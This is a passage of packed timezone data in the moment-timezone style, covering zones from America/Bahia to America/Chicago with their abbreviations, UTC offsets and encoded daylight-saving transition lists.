1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nW0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|84e3","America/Bahia|LMT -03 -02|2y.4 30 20|01212121212121212121212121212121212121212121212121212121212121|-2glxp.U HdLp.U 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 1EN0 Lz0 1C10 IL0 1HB0 Db0 1HB0 On0 1zd0 On0 1zd0 Lz0 1zd0 Rb0 1wN0 Wn0 1tB0 Rb0 1tB0 WL0 1tB0 Rb0 1zd0 On0 1HB0 FX0 l5B0 Rb0|27e5","America/Barbados|LMT AST ADT -0330|3W.t 40 30 3u|0121213121212121|-2m4k1.v 1eAN1.v RB0 1Bz0 Op0 1rb0 11d0 1jJc0 IL0 1ip0 17b0 1ip0 17b0 1ld0 13b0|28e4","America/Belem|LMT -03 -02|3d.U 30 20|012121212121212121212121212121|-2glwK.4 HdKK.4 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0|20e5","America/Belize|LMT CST -0530 CWT CPT CDT|5Q.M 60 5u 50 50 50|012121212121212121212121212121212121212121212121213412121212121212121212121212121212121212121215151|-2kBu7.c fPA7.c Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Rbu Rcu 7Bt0 Ni0 4nd0 Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1zcu Onu 1zcu Onu 1zcu Onu 1zcu Rbu 1wou Rbu 1wou Rbu 1zcu Onu e9Au qn0 lxB0 mn0|57e3","America/Boa_Vista|LMT -04 -03|42.E 40 30|0121212121212121212121212121212121|-2glvV.k HdKV.k 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 smp0 WL0 1tB0 2L0|62e2","America/Bogota|LMT BMT -05 -04|4U.g 4U.g 50 40|01232|-3sTv3.I 1eIo0 38yo3.I 1PX0|90e5","America/Boise|LMT PST PDT MST MWT MPT MDT|7I.N 80 70 70 60 60 60|01212134536363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363|-3tFE0 1nEe0 1nX0 11B0 1nX0 8C10 JCL0 8x20 ix0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 Dd0 1Kn0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|21e4","America/Cambridge_Bay|-00 MST MWT MPT MDT CST CDT EST|0 70 60 60 60 60 50 50|012314141414141414141414141414141414141414141414141414141414567541414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141|-21Jc0 RO90 8x20 ix0 14HB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11A0 1nX0 2K0 WQ0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|15e2","America/Campo_Grande|LMT -04 -03|3C.s 40 30|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2glwl.w HdLl.w 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 1EN0 Lz0 1C10 IL0 1HB0 Db0 1HB0 On0 1zd0 On0 1zd0 Lz0 1zd0 Rb0 1wN0 Wn0 1tB0 Rb0 1tB0 WL0 1tB0 Rb0 1zd0 On0 1HB0 FX0 1C10 Lz0 1Ip0 HX0 1zd0 On0 1HB0 IL0 1wp0 On0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 Rb0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0|77e4","America/Cancun|LMT CST EST EDT CDT|5L.4 60 50 40 50|0123232341414141414141414141414141414141412|-1UQG0 2q2o0 yLB0 1lb0 14p0 1lb0 14p0 Lz0 xB0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 Dd0|63e4","America/Caracas|LMT CMT -0430 -04|4r.I 4r.E 4u 40|012323|-3eLvw.g ROnX.U 28KM2.k 1IwOu kqo0|29e5","America/Cayenne|LMT -04 -03|3t.k 40 30|012|-2mrwu.E 2gWou.E|58e3","America/Chicago|LMT CST CDT EST CWT CPT|5O.A 60 50 50 50 50|012121212121212121212121212121212121213121212121214512121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFG0 1nEe0 1nX0 11B0 1nX0 1wp0 TX0 WN0 1qL0 1cN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 11B0 1Hz0 14p0 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 RB0 8x30 iw0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 